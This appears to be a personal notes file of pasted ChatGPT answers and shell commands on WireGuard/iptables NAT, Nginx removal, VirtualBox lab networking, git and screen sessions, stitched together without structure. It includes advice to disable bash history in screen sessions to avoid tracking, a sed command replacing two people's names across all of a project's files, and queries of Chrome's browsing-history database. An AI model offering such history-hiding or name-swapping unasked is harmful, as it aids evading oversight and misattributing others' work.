Server: bash Copy code sudo wg-quick down wg0 sudo wg-quick up wg0 Client: bash Copy code sudo wg-quick down wg0 sudo wg-quick up wg0 4. Test Connectivity On the client, check if you can ping the internet:
bash Copy code ping 8.8.8.8 If this works but ping google.com doesn't, the issue is DNS.
If DNS isn't working, try flushing the DNS cache on the client:
Linux: bash Copy code sudo systemd-resolve --flush-caches macOS: bash Copy code sudo dscacheutil -flushcache Windows: cmd Copy code ipconfig /flushdns 5. Verify with wg Command On the server, verify the WireGuard connection:
bash Copy code sudo wg Ensure that the client’s public key and IP are listed and that packets are being transmitted and received.
Let me know if you need more detailed troubleshooting!
You said: what does sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE do and how d I undo it to stop the traffic from forwarding again ChatGPT said: ChatGPT What sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Does This command configures Network Address Translation (NAT) on the server, specifically masquerading. Here's a breakdown:
-t nat: Specifies the NAT table, which is used for modifying packet addresses. -A POSTROUTING: Appends a rule to the POSTROUTING chain, which applies after the packet is routed. -o eth0: Specifies the outgoing network interface (e.g., eth0 is the server's internet-facing interface). -j MASQUERADE: Tells iptables to perform masquerading, which dynamically changes the source IP of packets to the server's public IP. Effect:
All traffic coming from the VPN (WireGuard) will appear to originate from the server's public IP when sent to the internet. It's essential for routing client internet traffic via the server. How to Undo It To stop forwarding traffic and remove the masquerading rule:
Remove the Rule (Without Reboot)
Find the rule:
bash Copy code sudo iptables -t nat -L POSTROUTING --line-numbers Example output:
scss Copy code Chain POSTROUTING (policy ACCEPT) num target prot opt source destination 1 MASQUERADE all -- anywhere anywhere Note the rule number (e.g., 1). Delete the rule by its number:
bash Copy code sudo iptables -t nat -D POSTROUTING 1 Make the Change Persistent If you saved the rule using iptables-persistent or netfilter-persistent, remove it from the saved configuration:
bash Copy code sudo nano /etc/iptables/rules.v4 Locate and delete the MASQUERADE rule under the POSTROUTING chain. Save and apply:
bash Copy code sudo netfilter-persistent save sudo netfilter-persistent reload Disable IP Forwarding If you previously enabled IP forwarding, disable it to stop traffic forwarding altogether:
bash Copy code sudo sysctl -w net.ipv4.ip_forward=0 To make it permanent, edit /etc/sysctl.conf:
bash Copy code sudo nano /etc/sysctl.conf Comment or change the line to:
ini Copy code
net.ipv4.ip_forward = 0 Apply changes:
bash Copy code sudo sysctl -p Verification Confirm NAT rules are removed:
bash Copy code sudo iptables -t nat -L POSTROUTING Ensure no MASQUERADE rules remain. Check if IP forwarding is disabled:
bash Copy code sysctl net.ipv4.ip_forward It should return 0. Let me know if you need further clarification or assistance!
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ChatGPT can make mistakes. Check important info. ?
- Stop the Nginx service First, stop the Nginx service to ensure it's not running while you remove it.
bash Copy code sudo systemctl stop nginx 2. Disable Nginx from starting on boot If you want to ensure that Nginx doesn't start automatically when the system reboots:
bash Copy code sudo systemctl disable nginx 3. Remove Nginx package To uninstall the Nginx package, use your package manager depending on the distribution you're using:
For Debian-based systems (e.g., Ubuntu): bash Copy code sudo apt-get remove --purge nginx nginx-common For Red Hat-based systems (e.g., CentOS, Fedora): bash Copy code sudo yum remove nginx or (for newer versions of Fedora/CentOS, using dnf):
bash Copy code sudo dnf remove nginx For systems using zypper (openSUSE): bash Copy code sudo zypper remove nginx 4. Remove unused dependencies After removing Nginx, you may want to clean up any unused dependencies that were installed with Nginx:
For Debian-based systems: bash Copy code sudo apt-get autoremove --purge For Red Hat-based systems: bash Copy code sudo yum autoremove or
bash Copy code sudo dnf autoremove 5. Delete any leftover files and configuration Even after removing Nginx packages, some configuration files may remain on the system. You can manually delete them:
Configuration files are usually stored in /etc/nginx/. Delete this directory: bash Copy code sudo rm -rf /etc/nginx/ Log files may be located in /var/log/nginx/. Remove the logs: bash Copy code sudo rm -rf /var/log/nginx/ Nginx service files might still be present in the system's systemd directory. Delete them if they exist: bash Copy code sudo rm -f /etc/systemd/system/nginx.service 6. Clear cache (optional) If you want to clear any cache related to Nginx or remove any residual data that could be left behind:
bash Copy code sudo rm -rf /var/cache/nginx/ 7. Verify the removal To verify that Nginx has been completely removed, you can check if the Nginx service is still available:
bash Copy code systemctl status nginx This should return an error like Unit nginx.service could not be found.
Also, confirm that the Nginx binaries are no longer present:
bash Copy code which nginx This should not return any path (it should be empty).
- Reboot (optional) If you want to ensure all changes take effect properly, you can reboot your system:
bash Copy code sudo reboot By following these steps, you should have completely removed Nginx from your system, including all files and configurations associated with it.
└──╼ #sudo ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/
- Location of Chrome User Data Chrome profiles are stored in:
javascript Copy code ~/.config/google-chrome/ Each profile has a subfolder:
Default: The main profile. Profile 1, Profile 2, etc.: Additional profiles. Inside each profile directory, browsing history is stored in the History SQLite database file.
Inspect the History File If you find the History file, analyze it using SQLite:
Install SQLite browser: bash Copy code sudo apt install sqlite3 Open the history database: bash Copy code sqlite3 ~/.config/google-chrome/Default/History Query browsing history: sql Copy code SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC;
Convert last_visit_time to Human-Readable Format Chrome stores last_visit_time as the number of microseconds since January 1, 1601 (UTC). To convert it:
Use SQLite functions: sql Copy code SELECT url, title, datetime(last_visit_time / 1000000 - 11644473600, 'unixepoch') AS last_visit FROM urls ORDER BY last_visit DESC;
If the File Is Still Locked Check if another process is using the History file: bash Copy code lsof | grep History Kill any processes using the file: bash Copy code kill -9
make sure promiscous mode is set under virtualbox
bring interfaces up
sudo ip link set eth0 up sudo dhclient eth0
Check IP Assignment:
Ensure that the NAT or Bridged network is assigning an IP address to the virtual machine. bash Copy code ip addr show
If using NAT, ensure the VirtualBox NAT service is active: bash Copy code VBoxManage list natnets
Enable Promiscuous Mode (if Required):
If your hacking lab setup requires monitoring traffic, enable promiscuous mode in the VirtualBox adapter settings. heck the VirtualBox Bridged Networking Driver: Ensure the VirtualBox bridged networking driver is correctly installed on the host:
On Linux:
bash Copy code lsmod | grep vbox Look for vboxnetflt. If it's missing, load it:
bash Copy code sudo modprobe vboxnetflt
. Test the Bridged Network in the VM: Inside the VM, test connectivity: bash Copy code ip addr show ping -c 4 google.com
Check the routing table: bash Copy code ip route show
Restart VirtualBox Networking Services: Restart the VirtualBox service on the host machine: On Linux: bash Copy code sudo systemctl restart vboxdrv
Solution for Persistent Networking Configuration
- Set Up Automatic Networking in the Guest VM: For Debian/Ubuntu-based Distributions (e.g., ParrotOS): Edit the /etc/network/interfaces or /etc/netplan/*.yaml file to configure the network interfaces.
Using /etc/network/interfaces: Open the file:
bash Copy code sudo nano /etc/network/interfaces Add the following lines for the eth0 interface (replace eth0 with the correct name of your network interface):
plaintext Copy code auto eth0 iface eth0 inet dhcp
Using Netplan (Newer Systems): If your system uses Netplan, configure the appropriate .yaml file in /etc/netplan/.
Example:
yaml Copy code network: version: 2 ethernets: eth0: dhcp4: true Apply the changes:
bash Copy code sudo netplan apply
Automate dhclient with a Systemd Service: If the above steps don’t work, create a systemd service to automatically run dhclient for the interface.
Create a service file:
bash Copy code sudo nano /etc/systemd/system/dhclient-eth0.service Add the following content (replace eth0 with your interface name):
ini Copy code [Unit] Description=Run dhclient for eth0 After=network.target
[Service] Type=oneshot ExecStart=/sbin/dhclient eth0 RemainAfterExit=true
[Install] WantedBy=multi-user.target Enable the service:
bash Copy code sudo systemctl enable dhclient-eth0.service Start the service immediately:
bash Copy code sudo systemctl start dhclient-eth0.service
ls | while read -r i; do mkdir "new/$i" done
OR
IFS=$'\n' for i in $(ls); do mkdir "new/$i" done unset IFS
OR
find . -maxdepth 1 -type d ! -name 'new' -exec mkdir -p new/{} ;
OR
ls | xargs -d '\n' -I {} mkdir -p "new/{}"
If the Old Folder Still Exists Remotely Remove Old Files and Folders If the old folder or files remain in the remote repository, you might need to explicitly delete them locally:
bash Copy code git rm -r Replace with the name of the folder that needs to be removed.
Then, commit and push the changes:
bash Copy code git commit -m "Removed old folder" git push origin Double-Check with git log Check the commit history to ensure all changes are committed: bash Copy code git log --oneline Force Sync if Necessary (Use Caution) If the issue persists, you can force-push your local state to overwrite the remote: bash Copy code git push origin --force Be cautious with this command, as it overwrites the remote repository with your local state and might affect collaborators.
git add -A
sudo apt-get install dpkg-repack
find . -type f -exec sed -i 's/allannjuguna/emiliohulbert/g; s/zerofrost/lilplucky/g' {} +
find . -type f -exec grep -E 'allannjuguna|zerofrost' {} +
git rm --cached .hugo_build.lock echo ".hugo_build.lock" >> .gitignore git add .gitignore git commit -m "Ignore .hugo_build.lock file"
error: RPC failed; curl 56 Recv failure: Connection reset by peer error: 226 bytes of body are still expected fetch-pack: unexpected disconnect while reading sideband packet fatal: early EOF fatal: fetch-pack: invalid index-pack output
git config --global http.postBuffer 524288000
[root@ZERXIS]─[/dev] └──╼ #modprobe vboxdrv ┌─[root@ZERXIS]─[/dev] └──╼ #modprobe vboxnetadp ┌─[root@ZERXIS]─[/dev] └──╼ #modprobe vboxnetflt #ls /dev/vboxnetctl
sudo systemctl reset-failed xdesktop-health.timer sudo systemctl restart xdesktop-health.timer
sudo apt update
sudo apt install libc-ares2 libmediainfo0v5 libpcrecpp0v5 libzen0v5
sudo apt --fix-broken install
List active screen sessions: Once you're back on the server, you need to see which screen sessions are still active. Run the following command:
bash Copy code screen -ls
There is a screen on: 1234.pts-0.hostname (Detached) 1 Socket in /var/run/screen/S-username.
Reattach to the screen session: To reconnect to a specific screen session, use the screen -r command followed by the session ID. For example:
bash Copy code screen -r 1234
If there is only one screen session: If there is only one active screen session, you can simply type:
bash Copy code screen -r
If you get a message saying the session is still attached: If you get a message saying that the session is still attached, but you're unable to connect, you can forcefully detach the session from any other terminals and reconnect using:
bash Copy code screen -d -r 1234
Summary of commands: screen -ls: List active screen sessions. screen -r <session_id>: Reattach to a specific screen session. screen -d -r <session_id>: Force detach and reattach a session.
Detach from the session: While inside the screen session, press the following key combination:
css Copy code Ctrl + A, then D
Reattach to the session later: To return to the detached screen session, simply type:
bash Copy code screen -r
Disable history globally for screen sessions If you want to always avoid saving history in screen sessions, you can set the HISTFILE variable to null in the .bashrc or .bash_profile file, but only when inside screen.
Add this to your .bashrc:
bash Copy code if [ -n "$STY" ]; then unset HISTFILE fi This checks if you're in a screen session (by looking for the $STY variable, which screen sets) and disables history saving.
Other Notes: History persistence: If you run long processes within screen, it keeps running even if you disconnect. When you reconnect, your session and the running processes are still intact. Preventing history storage: If you’re concerned about history for security reasons, you can also turn off history altogether by setting HISTSIZE=0 or using unset HISTFILE in your .bashrc or during your session. In summary, while screen doesn't inherently prevent .bash_history from storing commands, it allows you to manage your sessions in a way that makes it easier to avoid history tracking if you configure it properly.
You said:
Set up iptables rules:
Assuming your WireGuard interface is named wg0, and your server's LAN interface is eth0 (adjust these as needed):
Accept forwarding traffic between interfaces:
Copy code iptables -A FORWARD -i wg0 -o eth0 -j ACCEPT iptables -A FORWARD -i eth0 -o wg0 -j ACCEPT NAT (Network Address Translation) for outgoing traffic (if you're using the server to route traffic to the internet): bash Copy code iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE This will NAT the outgoing traffic, so the source IP address is the server's IP address, rather than the client’s.
Save iptables rules (to ensure they persist after reboot):
On most systems, you can save the rules with:
bash Copy code iptables-save > /etc/iptables/rules.v4 On some distributions, you may use a different method to save the rules, such as service iptables save or systemctl enable iptables.
ps -t pts/1 kill -9 id
sudo apt update sudo apt install build-essential ruby-dev gem install wpscan